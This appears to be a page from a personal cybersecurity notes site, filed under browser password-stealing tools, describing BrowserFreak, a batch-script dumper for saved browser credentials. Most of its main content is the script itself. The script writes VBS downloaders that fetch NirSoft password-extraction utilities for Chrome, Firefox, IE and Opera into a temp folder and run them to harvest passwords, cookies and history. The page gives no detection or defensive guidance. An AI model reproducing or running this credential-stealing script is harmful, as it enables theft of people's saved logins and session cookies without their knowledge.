KARIM ASHRAF SPACE.
  • Who Am I ?
  • WRITEUPS
    • What about Practice in Cyber Security?
    • Dark Side of VSCode
    • What about Cy-nix Machine?
    • Cyberdefenders Labs
      • Web Investigation Blue Team Lab
      • Red Stealer Blue Team Lab
      • WebStrike Blue Team Lab
      • BlueSky Ransomware Blue Team Lab
      • PsExec Hunt Blue Team Lab
      • OpenWire Blue Team Lab
      • 3CX Supply Chain Blue Team Lab
      • PoisonedCredentials Lab
      • Reveal Lab
    • Lets Defend
      • Incident Responder Path
        • Cybersecurity Incident Handling Guide
          • Introduction to Incident Handling
          • Incident Handling Steps
          • Preparation
          • Detection and Analysis
          • Containment, Eradication, and Recovery
          • Post-Incident Activity
        • Incident Response on Windows
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Free Tools That Can Be Used
          • Live Memory Analysis
          • Task Scheduler
          • Services
          • Registry Run Keys / Startup Folder
          • Files
          • Checklist
        • Incident Response on Linux
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Users and Groups
          • Processes
          • Files and File System
          • Mounts
          • Network
          • Service
          • Cron Job
          • SSH Authorized Keys
          • Bash_rc & Bash_profile
          • Useful Log Files
        • Hacked Web Server Analysis
          • Introduction to Hacked Web Server Analysis
          • Log Analysis on Web Servers
          • Attacks on Web Servers
          • Attacks Against Web Applications
          • Vulnerabilities on Servers
          • Vulnerabilities in Programming Language
          • Discovering the Web Shell
          • Hacked Web Server Analysis Example
        • Log Analysis with Sysmon
          • Introduction and Set Up of Sysmon
          • Detecting Mimikatz with Sysmon
          • Detecting Pass The Hash with Sysmon
          • Detecting Privilege Escalation with Sysmon
        • Forensic Acquisition and Triage
          • Introduction to Forensics Acquisition and Triage
          • Acquiring Memory Image From Windows and Linux
          • Custom Image Using FTK and Mounting Image for Analysis
          • KAPE Targets for Acquisition
          • KAPE Modules for Triage and Analysis
          • Triage Using FireEye Redline
          • Acquisition and Triage of Disks Using Autopsy
        • Memory Forensics
          • What is Memory Forensics
          • Memory Analysis Procedures
        • Registry Forensics
          • Introduction to Windows Registry Forensics
          • Acquiring Registry Hives
          • Regedit and Registry Explorer
          • System, Users and Network Information
          • Shellbags
          • Shimcache
          • Amcache
          • Recent Files
          • Dialogue Boxes MRU
        • Event Log Analysis
          • Introduction to Event Logs
          • Event Log Analysis
          • Authentication Event Logs
          • Windows Scheduled Tasks Event Logs
          • Windows Services Event Logs
          • Account Management Events
          • Event Log Manipulation
          • Windows Firewall Event Logs
          • Windows Defender Event Logs
          • Powershell Command Execution Event logs
        • Browser Forensics
          • Introduction to Browser Forensics
          • Acquisition
          • Browser Artifacts
          • Tool: BrowsingHistoryView
          • Manual Browser Analysis
          • Hindsight Framework
        • GTFOBins
          • Introduction to GTFOBins
          • Shell
          • Command
          • Reverse Shell
          • Bind Shell
          • File Upload
          • File Download
          • Sudo
        • Hunting AD Attacks
          • Introduction to Active Directory
          • Hunting AS-REP Roasting Attack
          • Hunting for Kerberoasting Attacks
          • Hunting for LDAP Enumerations (Bloodhound_Sharphound)
          • Hunting for NTDS Database Dumping
          • Hunting for Golden Ticket Attacks
          • Hunting for NTLM Relay Attacks
        • Writing a Report on Security Incident
          • Introduction to Technical Writing
          • Reporting Standards
          • Reporting Style
          • Report Formatting
          • Report Templates
        • How to Prepare a Cyber Crisis Management Pla
          • Introduction to Crisis Management
          • General Preparation
          • Tools
          • Backups
          • Alerts and End of Crisis
        • Advanced Event Log Analysis
          • Process Creation
          • DNS Activity
          • File/Folder Monitoring
          • BITS Client Event Log
          • Network Connections Event Log
          • MSI Event Logs
        • USB Forensics
          • Introduction to USB Forensics
          • USB Registry Key
          • USB Event Logs
          • Folder Access Analysis via Shellbags
          • File Access Analysis via Jumplists
          • Automated USB Parsers Tools
        • Windows Disk Forensics
          • SRUM Database
          • Jumplists
          • Recycle Bin Artifacts
          • RDP Cache
          • Thumbnail Cache
    • BTLO LABS
      • Bruteforce BTLO
    • The Complete Active Directory Security Handbook
      • Introduction
      • Active Directory
      • Attack Technique 1: Pass the Hash: Use of Alternate Authentication Material (T1550)
      • Attack Technique 2: Pass the Ticket: Use of Alternate Authentication Material (T1550)
      • Attack Technique 3: Kerberoasting
      • Attack Technique 4: Golden Ticket Attack
      • Attack Technique 5: DCShadow Attack
      • Attack Technique 6: AS-REP Roasting
      • Attack Technique 7: LDAP Injection Attack
      • Attack Technique 8: PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)
      • Conclusion & References
    • Windows Privilege Escalation
      • Tools
      • Windows Version and Configuration
      • User Enumeration
      • Network Enumeration
      • Antivirus Enumeration
      • Default Writeable Folders
      • EoP - Looting for passwords
      • EoP - Incorrect permissions in services
      • EoP - Windows Subsystem for Linux (WSL)
      • EoP - Unquoted Service Paths
      • EoP - $PATH Interception
      • EoP - Named Pipes
      • EoP - Kernel Exploitation
      • EoP - AlwaysInstallElevated
      • EoP - Insecure GUI apps
      • EoP - Evaluating Vulnerable Drivers
      • EoP - Printers
      • EoP - Runas
      • EoP - Abusing Shadow Copies
      • EoP - From local administrator to NT SYSTEM
      • EoP - Living Off The Land Binaries and Scripts
      • EoP - Impersonation Privileges
      • EoP - Privileged File Write
      • References
      • Practical Labs
    • Advanced Log Analysis
      • Key Windows Event IDs for Cybersecurity Monitoring
      • Analyzing a Series of Failed Login Attempts from Multiple IP Addresses
      • Steps to Investigate Suspicious Outbound Network Traffic
      • Identifying and Responding to Lateral Movement within a Network
      • Distinguishing Between Legitimate and Malicious PowerShell Executions
      • Detecting and Analyzing a Potential Data Exfiltration Incident Using Log Data
      • Steps to Analyze PowerShell Logging (Event ID 4104) for Malicious Activity
      • How to Identify an Internal Pivot Attack Using Log Data
      • Indicators in Logs Suggesting a Privilege Escalation Attack
      • How to Detect Command and Control (C2) Communication Using Log Analysis
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Detect the Use of Living-Off-the-Land Binaries (LOLBins) in Logs
      • How to Detect Malware Masquerading as a Legitimate Process Using Log Analysis
      • How to Detect and Analyze Lateral Movement Using Windows Event Logs
      • How to Detect Potential Ransomware Attacks in Their Early Stages Using Log Analysis
      • How to Detect and Analyze Privilege Escalation Using Windows Event Logs
      • How to Detect the Use of Mimikatz or Similar Tools in Log Data
      • How to Detect and Analyze DNS Tunneling Through Log Analysis
      • How to Detect a Pass-the-Hash (PtH) Attack Using Logs
      • How to Detect and Analyze an Attacker’s Use of a Remote Access Trojan (RAT) Using Log Data
      • How to Detect Lateral Movement Using Windows Event Logs
      • How to Detect and Investigate Data Exfiltration Using Logs
      • How to Identify and Analyze an Internal Phishing Campaign Using Email and System Logs
      • How to Detect and Analyze Ransomware Activity Using Logs
      • How to Detect Malicious PowerShell Activity Using Log Analysis
      • How to Detect and Respond to Brute-Force Attacks Using Log Data
      • How to Detect Privilege Escalation Attempts Using Windows Event Logs
      • How to Detect and Analyze Suspicious Domain Name Resolution Requests in DNS Logs
      • How to Detect and Respond to Unauthorized Access to Critical Files
      • How to Detect and Analyze Suspicious PowerShell Command Execution
      • How to Detect and Investigate Account Takeover (ATO) Attempts Using
      • How to Detect and Analyze the Use of Living Off the Land Binaries (LOLBins)
      • How to Detect and Investigate Lateral Movement
      • How to Detect and Investigate Data Exfiltration
      • How to Detect and Analyze Suspicious Activity Involving Service Accounts
      • How to Detect and Investigate Anomalous PowerShell Activity Related to Credential Dumping
      • How to Detect and Analyze the Execution of Unsigned or Malicious Executables
      • How to Detect and Investigate Abnormal Spikes in Network Traffic
    • Methods for Stealing Password in Browser
      • Important Tables and Columns
      • Important Queries
      • Profiles
      • Tools
        • HackBrowserData
        • Browser-password-stealer
        • BrowserPass
        • WebBrowserPassView
        • Infornito
        • Hindsight
        • BrowserFreak
        • BrowserStealer
  • The Ultimate Active Directory CheatSheet
  • COURSES SUMMARY
    • TCM SEC
      • TCM linux Privilege Escalation
      • TCM OSINT
    • The SecOps Group
      • Certified AppSec Practitioner exam
      • CNSP Review
    • Cybrary
      • Cybrary Offensive Pentesting
  • TIPS&TRICKS
    • Windows Shorcuts Arrow Remover
    • Kali KEX
    • Intel TurboBoost
    • Pentest_Copilot
    • Ferdium
    • Youtube Adblock_Bybass
    • Burb-Bambdas
    • Burb Customizer
    • BetterFox
Powered by GitBook
On this page
  1. WRITEUPS
  2. Methods for Stealing Password in Browser
  3. Tools

BrowserFreak

PreviousHindsightNextBrowserStealer

Last updated 6 months ago

is an automated password dumper for web browsers. It uses a batch script (BrowserFreak.bat) to download and extract saved passwords, cookies, history, and bookmarks from multiple web browsers. The tool supports a wide range of browsers, including Chromium-based browsers (like Google Chrome, Opera, Microsoft Edge), as well as some other browsers like Firefox. It is primarily designed to extract sensitive information that users may have saved within their browsers, such as login credentials and browsing history.

Key Features:

  1. Automated Password Dumping: BrowserFreak automates the process of extracting passwords, cookies, browsing history, and other sensitive data stored within web browsers.

  2. Wide Browser Support: It supports multiple browsers including:

    • Google Chrome

    • Mozilla Firefox

    • Microsoft Edge

    • Opera

    • Brave

    • Vivaldi

    • Yandex

    • Epic Privacy Browser, etc.

  3. Batch Script: The tool is run via a batch script that downloads utilities such as NirSoft’s ChromePass, PasswordFox, and OperaPassView to extract passwords and other stored data from different browsers.

  4. Convenience: BrowserFreak simplifies the process by automating data extraction for multiple browsers in one go, without the need for manual intervention.

How It Works:

  1. Downloading Password Recovery Tools: BrowserFreak uses VBS scripts to download utilities from NirSoft (such as chromepass.zip, passwordfox.zip, iepv.zip, etc.) to extract stored passwords for various browsers. These utilities are used to access and decrypt password storage files within the browser profiles.

  2. Extraction Process: The tool downloads and extracts password, bookmark, and other data from the browser profile folders located in the system directories.

    • Chrome: %temp%\freak\chrome.vbs downloads ChromePass.

    • Firefox: %temp%\freak\fire.vbs downloads PasswordFox.

    • Opera: %temp%\freak\opera.vbs downloads OperaPassView.

    • IE: %temp%\freak\ie.vbs downloads IEPV.

  3. Running the Scripts: The batch script executes the downloaded .vbs scripts, which fetch the password data from browser profiles and save it in the specified directories.

  4. Data Extraction & Downloading: The extracted data, including passwords, cookies, history, and bookmarks, is then saved in files for further analysis.

Example Usage:

  1. Download and Run the Script: To start extracting browser data, run the BrowserFreak.bat script.

    BrowserFreak.bat

  2. Extract Passwords from Chrome, Firefox, and Opera: The batch script will automatically download the required password dumpers and run them to extract passwords and other data from the installed browsers.

::Downlaod Chrome::
echo strFileURL = "http://www.nirsoft.net/utils/chromepass.zip" >
%temp%\freak\chrome.vbs
echo strHDLocation = "%temp%\freak\chromepass.zip" >>
%temp%\freak\chrome.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >>
%temp%\freak\chrome.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> %temp%\freak\chrome.vbs
echo objXMLHTTP.send() >> %temp%\freak\chrome.vbs
echo If objXMLHTTP.Status = 200 Then >> %temp%\freak\chrome.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >>
%temp%\freak\chrome.vbs
echo objADOStream.Open >> %temp%\freak\chrome.vbs
echo objADOStream.Type = 1 >> %temp%\freak\chrome.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> %temp%\freak\chrome.vbs
echo objADOStream.Position = 0 >> %temp%\freak\chrome.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>
%temp%\freak\chrome.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile
strHDLocation >> %temp%\freak\chrome.vbs
echo Set objFSO = Nothing >> %temp%\freak\chrome.vbs
echo objADOStream.SaveToFile strHDLocation >> %temp%\freak\chrome.vbs
echo objADOStream.Close >> %temp%\freak\chrome.vbs
echo Set objADOStream = Nothing >> %temp%\freak\chrome.vbs
echo End if >> %temp%\freak\chrome.vbs
echo Set objXMLHTTP = Nothing >> %temp%\freak\chrome.vbs
call %temp%\freak\chrome.vbs
::Download Firefox::
echo strFileURL = "http://www.nirsoft.net/utils/passwordfox.zip" >
%temp%\freak\fire.vbs
echo strHDLocation = "%temp%\freak\passwordfox.zip" >>
%temp%\freak\fire.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >>
%temp%\freak\fire.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> %temp%\freak\fire.vbs
echo objXMLHTTP.send() >> %temp%\freak\fire.vbs
echo If objXMLHTTP.Status = 200 Then >> %temp%\freak\fire.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >>
%temp%\freak\fire.vbs
echo objADOStream.Open >> %temp%\freak\fire.vbs
echo objADOStream.Type = 1 >> %temp%\freak\fire.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> %temp%\freak\fire.vbs
echo objADOStream.Position = 0 >> %temp%\freak\fire.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>
%temp%\freak\fire.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile
strHDLocation >> %temp%\freak\fire.vbs
echo Set objFSO = Nothing >> %temp%\freak\fire.vbs
echo objADOStream.SaveToFile strHDLocation >> %temp%\freak\fire.vbs
echo objADOStream.Close >> %temp%\freak\fire.vbs
echo Set objADOStream = Nothing >> %temp%\freak\fire.vbs
echo End if >> %temp%\freak\fire.vbs
echo Set objXMLHTTP = Nothing >> %temp%\freak\fire.vbs
call %temp%\freak\fire.vbs
::Download IE::
echo strFileURL = "http://www.nirsoft.net/utils/iepv.zip" >
%temp%\freak\ie.vbs
echo strHDLocation = "%temp%\freak\iepv.zip" >> %temp%\freak\ie.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> %temp%\freak\ie.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> %temp%\freak\ie.vbs
echo objXMLHTTP.send() >> %temp%\freak\ie.vbs
echo If objXMLHTTP.Status = 200 Then >> %temp%\freak\ie.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >> %temp%\freak\ie.vbs
echo objADOStream.Open >> %temp%\freak\ie.vbs
echo objADOStream.Type = 1 >> %temp%\freak\ie.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> %temp%\freak\ie.vbs
echo objADOStream.Position = 0 >> %temp%\freak\ie.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>
%temp%\freak\ie.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile
strHDLocation >> %temp%\freak\ie.vbs
echo Set objFSO = Nothing >> %temp%\freak\ie.vbs
echo objADOStream.SaveToFile strHDLocation >> %temp%\freak\ie.vbs
echo objADOStream.Close >> %temp%\freak\ie.vbs
echo Set objADOStream = Nothing >> %temp%\freak\ie.vbs
echo End if >> %temp%\freak\ie.vbs
echo Set objXMLHTTP = Nothing >> %temp%\freak\ie.vbs
call %temp%\freak\ie.vbs
::Download Opera::
echo strFileURL = "http://www.nirsoft.net/utils/operapassview.zip" >
%temp%\freak\opera.vbs
echo strHDLocation = "%temp%\freak\operapassview.zip" >>
%temp%\freak\opera.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >>
%temp%\freak\opera.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> %temp%\freak\opera.vbs
echo objXMLHTTP.send() >> %temp%\freak\opera.vbs
echo If objXMLHTTP.Status = 200 Then >> %temp%\freak\opera.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >>
%temp%\freak\opera.vbs
echo objADOStream.Open >> %temp%\freak\opera.vbs
echo objADOStream.Type = 1 >> %temp%\freak\opera.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> %temp%\freak\opera.vbs
echo objADOStream.Position = 0 >> %temp%\freak\opera.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>
%temp%\freak\opera.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile
strHDLocation >> %temp%\freak\opera.vbs
echo Set objFSO = Nothing >> %temp%\freak\opera.vbs
echo objADOStream.SaveToFile strHDLocation >> %temp%\freak\opera.vbs
echo objADOStream.Close >> %temp%\freak\opera.vbs
echo Set objADOStream = Nothing >> %temp%\freak\opera.vbs
echo End if >> %temp%\freak\opera.vbs
echo Set objXMLHTTP = Nothing >> %temp%\freak\opera.vbs
call %temp%\freak\opera.vbs
::Download All:
echo strFileURL = "http://nirsoft.net/utils/webbrowserpassview.zip" >
%temp%\freak\all.vbs
echo strHDLocation = "%temp%\freak\webbrowserpassview.zip" >>
%temp%\freak\all.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >>
%temp%\freak\all.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> %temp%\freak\all.vbs
echo objXMLHTTP.send() >> %temp%\freak\all.vbs
echo If objXMLHTTP.Status = 200 Then >> %temp%\freak\all.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >>
%temp%\freak\all.vbs
echo objADOStream.Open >> %temp%\freak\all.vbs
echo objADOStream.Type = 1 >> %temp%\freak\all.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> %temp%\freak\all.vbs
echo objADOStream.Position = 0 >> %temp%\freak\all.vbs
echo Set objFSO = Createobject("Scripting.FileSystemObject") >>
%temp%\freak\all.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile
strHDLocation >> %temp%\freak\all.vbs
echo Set objFSO = Nothing >> %temp%\freak\all.vbs
echo objADOStream.SaveToFile strHDLocation >> %temp%\freak\all.vbs
echo objADOStream.Close >> %temp%\freak\all.vbs
echo Set objADOStream = Nothing >> %temp%\freak\all.vbs
echo End if >> %temp%\freak\all.vbs
echo Set objXMLHTTP = Nothing >> %temp%\freak\all.vbs
call %temp%\freak\all.vbs

Supported Browsers and Profiles:

  • Google Chrome: %temp%\freak\chromepass.zip

  • Mozilla Firefox: %temp%\freak\passwordfox.zip

  • Internet Explorer: %temp%\freak\iepv.zip

  • Opera: %temp%\freak\operapassview.zip

  • Microsoft Edge: Automatically supported through Chromium-based tools.

Script Breakdown:

  • The batch script (BrowserFreak.bat) automates the downloading of password recovery tools from NirSoft.

  • For example, the following lines download the Chrome password tool (chromepass.zip):

    echo strFileURL = "http://www.nirsoft.net/utils/chromepass.zip" > %temp%\freak\chrome.vbs

  • Similar steps are followed for Firefox, Internet Explorer, and Opera, each downloading its respective password extractor tools.

  • File Download Logic: The script makes HTTP requests using MSXML2.XMLHTTP to fetch the .zip files, extracts them, and saves them to the system for further extraction.l.

BrowserFreak